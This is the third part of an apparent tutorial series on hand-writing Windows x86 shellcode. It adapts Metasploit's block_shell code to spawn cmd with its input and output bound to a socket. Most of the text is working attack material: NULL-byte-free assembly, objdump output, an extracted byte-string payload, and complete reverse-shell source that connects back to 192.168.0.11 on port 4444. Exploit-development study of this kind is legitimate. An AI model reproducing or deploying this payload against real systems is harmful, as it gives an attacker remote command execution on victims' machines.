Continuation of part 1 and part 2 of the Windows x86 Manual Shellcode.
In this part we will continue this development by redirecting a shell to to the established connection.
Call CreateProcessA
We already have the address of the CreateProcessA
function we got with arwin.exe
. Its kind of obvious what this function does, but lets check the documentation just in case:
Creates a new process and its primary thread. The new process runs in the security context of the calling process.
And the syntax:
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
This time, instead of trying to figure out each and every field of this structure, lets see if we can adapt Metasploit’s block_shell code:
.shell:
mov ebx, 0x646D6390 ; push our command line: 'cmd',0 padded with \x90
shr ebx, 8
push ebx
mov ebx, esp ; save a pointer to the command line
push edi ; our socket becomes the shells hStdError
push edi ; our socket becomes the shells hStdOutput
push edi ; our socket becomes the shells hStdInput
xor esi, esi ; Clear ESI for all the NULL's we need to push
push byte 0x12 ; We want to place (18 * 4) = 72 null bytes onto the stack
pop ecx ; Set ECX for the loop
push_loop:
push esi ; push a null dword
loop push_loop ; keep looping untill we have pushed enough nulls
mov word [esp + 0x3C], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov byte [esp + 0x10], 0x44
lea eax, [esp + 0x10] ; Set EAX as a pointer to our STARTUPINFO Structure
;perform the call to CreateProcessA
push esp ; Push the pointer to the PROCESS_INFORMATION Structure
push eax ; Push the pointer to the STARTUPINFO Structure
push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
push esi ; We dont specify any dwCreationFlags
inc esi ; Increment ESI to be one
push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
dec esi ; Decrement ESI back down to zero
push esi ; Set lpThreadAttributes to NULL
push esi ; Set lpProcessAttributes to NULL
push ebx ; Set the lpCommandLine to point to "cmd",0
push esi ; Set lpApplicationName to NULL as we are using the command line param instead
mov ebx, 0x7c80236b ; CreateProcessA
call ebx
A few modifications were necessary, of course. First, we must set the correct address of CreateProcessA
. Also, since Metasploit uses hashes instead of API calls to improve obfuscation, we had to change it too. I know, our shellcode is somewhat rudimentary, but it will be smaller I promise.
There is also the good and old issue of the NULL bytes, which Metasploit does not address directly. Lets assemble/link this piece of code and see if there are any NULLs we must solve:
$ objdump -d /tmp/shell.exe -M intel32
/tmp/shell.exe: file format pei-i386
Disassembly of section .text:
00401000 <.text>:
401000: 68 63 6d 64 00 push 0x646d63
401005: 89 e3 mov ebx,esp
401007: 57 push edi
401008: 57 push edi
401009: 57 push edi
40100a: 31 f6 xor esi,esi
40100c: 6a 12 push 0x12
40100e: 59 pop ecx
40100f: 56 push esi
401010: e2 fd loop 40100f <.text+0xf>
401012: 66 c7 44 24 3c 01 01 mov WORD PTR [esp+0x3c],0x101
401019: 8d 44 24 10 lea eax,[esp+0x10]
40101d: c6 00 44 mov BYTE PTR [eax],0x44
401020: 54 push esp
401021: 50 push eax
401022: 56 push esi
401023: 56 push esi
401024: 56 push esi
401025: 46 inc esi
401026: 56 push esi
401027: 4e dec esi
401028: 56 push esi
401029: 56 push esi
40102a: 53 push ebx
40102b: 56 push esi
40102c: 68 79 cc 3f 86 push 0x863fcc79
401031: ff d5 call ebp
401033: 89 e0 mov eax,esp
401035: 4e dec esi
401036: 56 push esi
401037: 46 inc esi
401038: ff 30 push DWORD PTR [eax]
40103a: 68 08 87 1d 60 push 0x601d8708
40103f: ff d5 call ebp
[...]
Notice that both push 0x646d63
and mov BYTE PTR [eax],0x44
add NULL bytes.
To solve the first issue, we transform push 0x00646D63
into:
mov ebx, 0x646D6390 ;push our command line: 'cmd',0 padded with \x90
shr ebx, 8 ;rotate right (ebx = 0x00646D63)
push ebx
For the second one, we transform this snippet:
lea eax, [esp + 0x10] ; Set EAX as a pointer to our STARTUPINFO Structure
mov byte [eax], 0x44 ; Set the size of the STARTUPINFO Structure
Into:
mov byte [esp + 0x10], 0x44
lea eax, [esp + 0x10] ; Set EAX as a pointer to our STARTUPINFO Structure
This works because we eliminate the mov BYTE PTR [eax],0x44
, which was causing the problem.
Finally, lets extract the shellcode and see if it is NULL-free.
$ objdump -d Public/ctp/shellcode.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x54\xbb\x7b\x1d\x80\x7c\xff\xd3\x89\xc5\x31\xc0\x66\xb8\x75\x70\x50\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x55\xbb\x40\xae\x80\x7c\xff\xd3\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x31\xc9\x66\xb9\x02\x02\x51\xff\xd0\x31\xc0\x66\xb8\x74\x41\x50\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x55\xbb\x40\xae\x80\x7c\xff\xd3\x31\xdb\x53\x53\x53\x31\xc9\xb1\x06\x51\x43\x53\x43\x53\xff\xd0\x50\x5f\x31\xc0\xb8\x90\x65\x63\x74\xc1\xe8\x08\x50\x68\x63\x6f\x6e\x6e\x54\x55\xbb\x40\xae\x80\x7c\xff\xd3\xbb\xd1\xb9\x11\x1c\x81\xeb\x11\x11\x11\x11\x53\x66\x68\x11\x5c\x31\xdb\xb3\x02\x66\x53\x89\xe2\x6a\x10\x52\x57\xff\xd0\xbb\x90\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\xc6\x44\x24\x10\x44\x8d\x44\x24\x10\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\xbb\x6b\x23\x80\x7c\xff\xd3"
Awesome! To test it, we set a listener on port 4444 at our server and run it in the Windows VM.
However, there is still a small problem:
Since we did not correctly finish the process, it crashes. By now you should be fully confident about how to fix this issue, so I won’t spoil it ;)
This is our final shellcode therefore:
global _start
section .text
_start:
.loadWinSock:
xor eax, eax
mov ax, 0x3233 ;23
push eax ;includes \0 at the end without insert NULLs
push 0x5f327377 ;_2sw
push esp ;pointer to the string
mov ebx, 0x7c801d7b ;0x7b1d807c ;addr of LoadLibraryA (0x7c801d7b)
call ebx
mov ebp, eax ;save winsock handle
.getWSAStartup:
xor eax, eax
mov ax, 0x7075 ; 'up'
push eax
push 0x74726174 ; 'trat'
push 0x53415357 ; 'SASW'
push esp ;pointer to the string
push ebp ;winsock handler
mov ebx, 0x7c80ae40 ;addr of GetProcAddress
call ebx
.callWSAStartUp:
xor ebx, ebx
mov bx, 0x0190
sub esp, ebx
push esp
xor ecx, ecx
mov cx, 0x0202
push ecx
call eax ; WSAStartUp(MAKEWORD(2, 2), wsadata_pointer)
.getWSASocketA:
xor eax, eax
mov ax, 0x4174 ; 'At'
push eax
push 0x656b636f ; 'ekco'
push 0x53415357 ; 'SASW'
push esp ;pointer to the string
push ebp ;socket handler
mov ebx, 0x7c80ae40 ;addr of GetProcAddress
call ebx
.callWSASocketA:
xor ebx, ebx ;clear ebx
push ebx; ;dwFlags=NULL
push ebx; ;g=NULL
push ebx; ;lpProtocolInfo=NULL
xor ecx, ecx ;clear ecx
mov cl, 0x6 ;protocol=6
push ecx
inc ebx ;ebx==1
push ebx ;type=1
inc ebx ;af=2
push ebx
call eax ;call WSASocketA
push eax ;save eax in edx
pop edi ;...
.getConnect:
xor eax, eax
mov eax, 0x74636590 ;'\x90tce'
shr eax, 8
push eax
push 0x6e6e6f63 ;'nnoc'
push esp ;pointer to the string
push ebp ;socket handler
mov ebx, 0x7c80ae40 ;addr of GetProcAddress
call ebx
.callConnect:
;set up sockaddr_in
mov ebx, 0x1c11b9d1 ;the IP plus 0x11111111 so we avoid NULLs (IP=192.168.0.11)
sub ebx, 0x11111111 ;subtract from ebx to obtain the real IP
push ebx ;push sin_addr
push word 0x5c11 ;0x115c = (port 4444)
xor ebx, ebx
mov bl, 2
push bx
mov edx, esp
push byte 0x10
push edx
push edi
call eax
.shell:
mov ebx, 0x646D6390 ; push our command line: 'cmd',0 padded with \x90
shr ebx, 8
push ebx
mov ebx, esp ; save a pointer to the command line
push edi ; our socket becomes the shells hStdError
push edi ; our socket becomes the shells hStdOutput
push edi ; our socket becomes the shells hStdInput
xor esi, esi ; Clear ESI for all the NULL's we need to push
push byte 0x12 ; We want to place (18 * 4) = 72 null bytes onto the stack
pop ecx ; Set ECX for the loop
push_loop:
push esi ; push a null dword
loop push_loop ; keep looping untill we have pushed enough nulls
mov word [esp + 0x3C], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov byte [esp + 0x10], 0x44
lea eax, [esp + 0x10] ; Set EAX as a pointer to our STARTUPINFO Structure
;perform the call to CreateProcessA
push esp ; Push the pointer to the PROCESS_INFORMATION Structure
push eax ; Push the pointer to the STARTUPINFO Structure
push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
push esi ; We dont specify any dwCreationFlags
inc esi ; Increment ESI to be one
push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
dec esi ; Decrement ESI back down to zero
push esi ; Set lpThreadAttributes to NULL
push esi ; Set lpProcessAttributes to NULL
push ebx ; Set the lpCommandLine to point to "cmd",0
push esi ; Set lpApplicationName to NULL as we are using the command line param instead
mov ebx, 0x7c80236b ; CreateProcessA
call ebx